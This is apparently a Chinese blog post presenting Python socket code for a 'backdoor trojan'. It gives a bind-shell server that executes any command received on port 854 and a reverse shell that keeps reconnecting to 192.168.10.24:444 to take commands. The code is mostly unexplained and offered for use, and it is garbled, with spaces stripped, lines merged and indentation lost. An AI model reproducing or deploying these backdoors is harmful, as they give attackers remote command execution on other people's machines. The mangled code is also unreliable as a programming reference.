python socket程式設計製作後門木馬（原創）

懶得解釋怎麼寫出來的，直接上**

client:  簡單連線伺服器

server:  單執行緒，長久監聽服務，長連線，會話先進先出排隊原則

server:  多執行緒，長久監聽服務，長連線，同步處理會話

backdoor: 結合命令執行製作後門木馬（正向）

#!/usr/bin/python#coding:utf-8

importsocket 
importsys
importcommands
from thread import *host = ''port = 854s =socket.socket(socket.af_inet, socket.sock_stream)
s.bind((host, port))
s.listen(10)
defclientthread(conn):
conn.send("welcome demon's backdoor!".center(50,"*") + "\n")
while 1:
conn.send("demon_backdoor# ")
data = conn.recv(1024)
ifdata:
cmd = data.strip("\n")
code,res =commands.getstatusoutput(cmd)
if code ==0 :
conn.sendall(res+"\n")
else:
print "[-]error: code",code
data = ""
else:
breakconn.close()
while 1:
conn, addr =s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
start_new_thread(clientthread, (conn,))
s.close()

backdoor: **shell（反向）

#!/usr/bin/python#coding:utf-8

importsocket 
importsys
importcommands
from time importsleep
from thread import *host = "192.168.10.24"port = 444
defclientthread(s):
globalisconnect
s.send("welcome demon's backdoor!".center(50,"*") + "\n")
while 1:
s.send("demon_backdoor# ")
data = s.recv(1024)
ifdata :
cmd = data.strip("\n")
code,res =commands.getstatusoutput(cmd)
if code ==0 :
s.sendall(res+"\n")
else:
print "[-]error: code",code
data = ""
else:
break
while 1:
try:
s =socket.socket(socket.af_inet, socket.sock_stream)
s.connect((host, port))
print "[+] connecting" , host + ":", port
clientthread(s)
#start_new_thread(clientthread, (s,))
s.close()
except:
sleep(0.5)

**指明出處：

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